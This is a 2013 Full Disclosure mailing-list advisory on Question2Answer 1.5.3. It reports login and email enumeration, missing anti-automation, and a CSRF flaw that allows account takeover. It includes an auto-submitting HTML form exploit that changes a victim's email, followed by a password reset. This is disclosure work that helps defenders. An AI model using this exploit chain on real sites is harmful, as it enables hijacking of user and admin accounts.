Full Disclosure mailing list archives

AoF, IAA and CSRF vulnerabilities in Question2Answer


From: "MustLive" <mustlive () websecurity com ua>
Date: Sun, 3 Mar 2013 23:32:22 +0200

Hello list!

These are Abuse of Functionality, Insufficient Anti-automation and
Cross-Site Request Forgery vulnerabilities in Question2Answer. This is the
second part of vulnerabilities in this web application.

-------------------------
Affected products:
-------------------------

Vulnerable are all versions of Question2Answer (tested in version 1.5.3).

As developer informed me, in version Q2A 1.6 he's planning to add protection
against CSRF (see Timeline). And in January he has added this protection
into the last dev-version of Q2A
(http://www.question2answer.org/question2answer-dev-latest.zip). So before
official release of Q2A 1.6 people can use this dev-version.

----------
Details:
----------

Abuse of Functionality (WASC-42):

http://site/login
http://site/reset

Login/email enumeration is possible (both of them can be used for
authentication). If there is no such login/e-mail, then system answers "User
not found".

http://site/account

Login/email enumeration is possible (both of them can be used for
authentication). If there is such login, then system answers "This username
is used". If there is such e-mail, then system answers "This e-mail is
used".

Insufficient Anti-automation (WASC-21):

http://site/login
http://site/reset

At these pages there is no protection from automated requests. Which allows
to automate Abuse of Functionality attacks.

http://site/account

This is internal page. So for conduct automated abuse of account
functionality to enumerate logins or e-mails it's needed to log into account
first. As I've wrote in previous advisory, automated login is possible
because there is no captcha in login form. So first POST request is going to
http://site/login and then multiple POST requests are sending to
http://site/account to enumerate logins/e-mails.

Cross-Site Request Forgery (WASC-09):

It's possible to steal user's account (including admin's account) by sending
CSRF request to http://site/account. After sending request with this exploit
to change e-mail, the attacker needs to recover password to his e-mail
through reset function (http://site/reset).

Exploit:

http://websecurity.com.ua/uploads/2013/Question2Answer%20CSRF.html

<body onLoad="document.hack.submit()">
<form name="hack" action="http://site/account"; method="post">
<input type="hidden" name="handle" value="test">
<input type="hidden" name="email" value="test () test com">
<input type="hidden" name="messages" value="1">
<input type="hidden" name="mailings" value="1">
<input type="hidden" name="field_1" value="test">
<input type="hidden" name="field_2" value="test">
<input type="hidden" name="field_3" value="test">
<input type="hidden" name="dosaveprofile" value="1">
</form>
</body>

------------
Timeline:
------------
2012.11.29 - announced at my site.
2012.11.30 - informed developer (about the first part of the holes).
2012.12.01 - informed developer (about the second part of the holes).
2012.12 - during December I've spoke with developer about these holes and
convinced him to fix CSRF holes.
2013.01.17 - developer informed about plans to add protection against CSRF
into Q2A 1.6 (it'll be released in 2013) and that he added it to the last
dev-version of Q2A.
2013.03.01 - disclosed at my site (http://websecurity.com.ua/6192/).

Best wishes & regards,
MustLive
Administrator of Websecurity web site
http://websecurity.com.ua


_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/


Current thread: